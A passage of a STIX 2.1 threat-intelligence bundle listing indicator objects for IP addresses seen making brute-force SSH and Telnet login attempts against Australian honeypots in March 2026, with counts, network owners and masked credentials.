      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:15:13.000Z",
      "valid_until": "2026-04-20T12:15:12.000Z"
    },
    {
      "created": "2026-03-19T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--05c00665-4814-48ff-9b57-c05697a07d28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:15:13.000Z",
      "valid_until": "2026-04-20T12:15:12.000Z"
    },
    {
      "created": "2026-03-19T13:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): c***l, p***o. Passwords observed (masked): 1***5, 1******8.",
      "id": "indicator--1ee1c9b5-3027-45a8-aba8-d91462ba6685",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T13:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.8.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T13:15:08.000Z",
      "valid_until": "2026-04-20T13:15:05.000Z"
    },
    {
      "created": "2026-03-19T13:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): c***l, 3**********4, a**n, g***a, p***o. Passwords observed (masked): 1***5, 1******8, 3***********4, 3**********4, G*******!.",
      "id": "indicator--2a63b1a5-002d-4a38-8924-9ab2e175f8b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T13:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T13:15:08.000Z",
      "valid_until": "2026-04-20T13:15:05.000Z"
    },
    {
      "created": "2026-03-19T13:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HT. ASN(s): 52260. Organisation(s): Telecommunications de Haiti Teleco.",
      "id": "indicator--1a714e0c-1cb6-40f5-b1f9-4ad5aa39e909",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T13:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.115.143.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T13:15:08.000Z",
      "valid_until": "2026-04-20T13:15:05.000Z"
    },
    {
      "created": "2026-03-19T13:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c28bde47-543f-4912-bfc9-5e8eee12595f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T13:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.19.243.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T13:15:08.000Z",
      "valid_until": "2026-04-20T13:15:05.000Z"
    },
    {
      "created": "2026-03-19T13:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--8cdb121b-d1f9-4779-a12d-03eaa7f53da5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T13:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.163.58.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T13:15:08.000Z",
      "valid_until": "2026-04-20T13:15:05.000Z"
    },
    {
      "created": "2026-03-19T13:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--d7b61963-4e35-4847-9abf-df2c43827d69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T13:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.80.155.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T13:15:08.000Z",
      "valid_until": "2026-04-20T13:15:05.000Z"
    },
    {
      "created": "2026-03-19T14:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--2cc466a7-8b4f-4e1f-b85c-84c5b1a2730b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.147.220.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:15:06.000Z",
      "valid_until": "2026-04-20T14:15:05.000Z"
    },
    {
      "created": "2026-03-19T14:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 563. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, s*****t, u****u, **. Passwords observed (masked): 1****6, p******d, p******d, !**************v, 0**0.",
      "id": "indicator--7fd69e80-e38a-4986-ae83-1f656e2c013a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.220.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:15:06.000Z",
      "valid_until": "2026-04-20T14:15:05.000Z"
    },
    {
      "created": "2026-03-19T14:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 533. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, d******r, o**o, u****u. Passwords observed (masked): ***, 1****6, ***, ***, 0******0.",
      "id": "indicator--14bd10b6-664d-424e-9909-d4f33df6e4b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.0.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:15:06.000Z",
      "valid_until": "2026-04-20T14:15:05.000Z"
    },
    {
      "created": "2026-03-19T14:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--0319f88d-58f1-4d82-bd97-01680c8dd361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.220.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:15:06.000Z",
      "valid_until": "2026-04-20T14:15:05.000Z"
    },
    {
      "created": "2026-03-19T14:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 17924. Organisation(s): SmarTone Mobile Communications Ltd.",
      "id": "indicator--ab3db09a-8627-4a86-85f8-255833a3030c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.152.162.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:15:06.000Z",
      "valid_until": "2026-04-20T14:15:05.000Z"
    },
    {
      "created": "2026-03-19T14:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--c83d8024-8d1b-4b2b-aa11-50361b0ef237",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.10.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:15:06.000Z",
      "valid_until": "2026-04-20T14:15:05.000Z"
    },
    {
      "created": "2026-03-19T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, s**********y, x***i. Passwords observed (masked): S*******3, X*******!, s**************!.",
      "id": "indicator--2d1de9d4-3d57-4d37-8993-83bffd611bbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.13.206.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T15:15:03.000Z",
      "valid_until": "2026-04-20T15:15:00.000Z"
    },
    {
      "created": "2026-03-19T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--06b768e5-a4cb-4ff2-8b7f-211eef1ac52f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.242.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T15:15:03.000Z",
      "valid_until": "2026-04-20T15:15:00.000Z"
    },
    {
      "created": "2026-03-19T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--f055aa5c-d203-432e-9cd2-3f193fa20a04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T15:15:03.000Z",
      "valid_until": "2026-04-20T15:15:00.000Z"
    },
    {
      "created": "2026-03-19T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--dfcf6291-b23e-42cb-88a8-116b1a5664b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.165.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T15:15:03.000Z",
      "valid_until": "2026-04-20T15:15:00.000Z"
    },
    {
      "created": "2026-03-19T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--4ee6a5f4-faeb-4938-8f0f-ef413d5721d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.54.65.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T15:15:03.000Z",
      "valid_until": "2026-04-20T15:15:00.000Z"
    },
    {
      "created": "2026-03-19T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--33e04d1e-c5dc-401f-8f22-e54e2af0bb34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.42.88.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T15:15:03.000Z",
      "valid_until": "2026-04-20T15:15:00.000Z"
    },
    {
      "created": "2026-03-19T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--f2e1c297-7fb5-466c-a994-4ac4ee7178bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T16:15:15.000Z",
      "valid_until": "2026-04-20T16:15:12.000Z"
    },
    {
      "created": "2026-03-19T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4f54a37c-8bec-4d22-9b47-2045fb3fdb4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T16:15:15.000Z",
      "valid_until": "2026-04-20T16:15:12.000Z"
    },
    {
      "created": "2026-03-19T17:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , G************1, b*****************************************'. Passwords observed (masked): , H**********************3, g************************0.",
      "id": "indicator--51384afc-78ea-4169-8b17-74346f420fc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T17:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.14.226.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T17:15:16.000Z",
      "valid_until": "2026-04-20T17:15:12.000Z"
    },
    {
      "created": "2026-03-19T17:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45820. Organisation(s): Tata Teleservices ISP AS. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e9f5cdbc-7146-4c3a-8b31-e2b34e9c1527",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T17:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.194.19.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T17:15:16.000Z",
      "valid_until": "2026-04-20T17:15:12.000Z"
    },
    {
      "created": "2026-03-19T17:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--39c8d329-0745-4e30-931a-a0b21d57c969",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T17:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T17:15:16.000Z",
      "valid_until": "2026-04-20T17:15:12.000Z"
    },
    {
      "created": "2026-03-19T17:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--28c88443-73ee-4fc8-b08a-7f6af99fd4ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T17:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.149.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T17:15:16.000Z",
      "valid_until": "2026-04-20T17:15:12.000Z"
    },
    {
      "created": "2026-03-19T17:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--45850e2e-282e-4b89-b735-30e6eecebb04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T17:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.233.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T17:15:16.000Z",
      "valid_until": "2026-04-20T17:15:12.000Z"
    },
    {
      "created": "2026-03-19T18:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, b**u, r**t, c******a, d******r. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--0f6be9ed-1b0c-4ecd-8b87-cf2e7cd32c15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.123.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T18:15:15.000Z",
      "valid_until": "2026-04-20T18:15:12.000Z"
    },
    {
      "created": "2026-03-19T18:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 137654. Organisation(s): Netstra Communications Pvt Ltd. Usernames observed (masked): b**u, 3**********4, c******a, d******r, e**c. Passwords observed (masked): ***, 1**4, 1***5, 1****6, 3***********4.",
      "id": "indicator--0a6573c1-b7cf-4768-a4a9-5cf09684088e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.121.157.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T18:15:15.000Z",
      "valid_until": "2026-04-20T18:15:12.000Z"
    },
    {
      "created": "2026-03-19T18:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--eab3c334-f0b1-4e43-94d3-7b76f66d5dbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.36.77.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T18:15:15.000Z",
      "valid_until": "2026-04-20T18:15:12.000Z"
    },
    {
      "created": "2026-03-19T18:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 55430. Organisation(s): Starhub Ltd.",
      "id": "indicator--8d485ee9-d8ed-4c46-9e38-94fe56fa4c6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.86.211.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T18:15:15.000Z",
      "valid_until": "2026-04-20T18:15:12.000Z"
    },
    {
      "created": "2026-03-19T18:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 12271. Organisation(s): Charter Communications Inc.",
      "id": "indicator--805e81e5-602e-4061-83b9-f60681a5fee9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.222.137.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T18:15:15.000Z",
      "valid_until": "2026-04-20T18:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): j**n, t******r. Passwords observed (masked): j**n, t******s.",
      "id": "indicator--f40b36c6-9f2c-4dc9-bbdd-4c1fd229a705",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.218.166.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131596. Organisation(s): TBC.",
      "id": "indicator--79d1f74a-de50-4158-9440-aaab60fbb05d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.241.254.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): e**r. Passwords observed (masked): E*****3.",
      "id": "indicator--097fda30-cf04-4e8f-8751-4aff5e852371",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.120.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): ***. Passwords observed (masked): p******d.",
      "id": "indicator--929543b4-8403-4419-b09d-4696401ca146",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.142.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
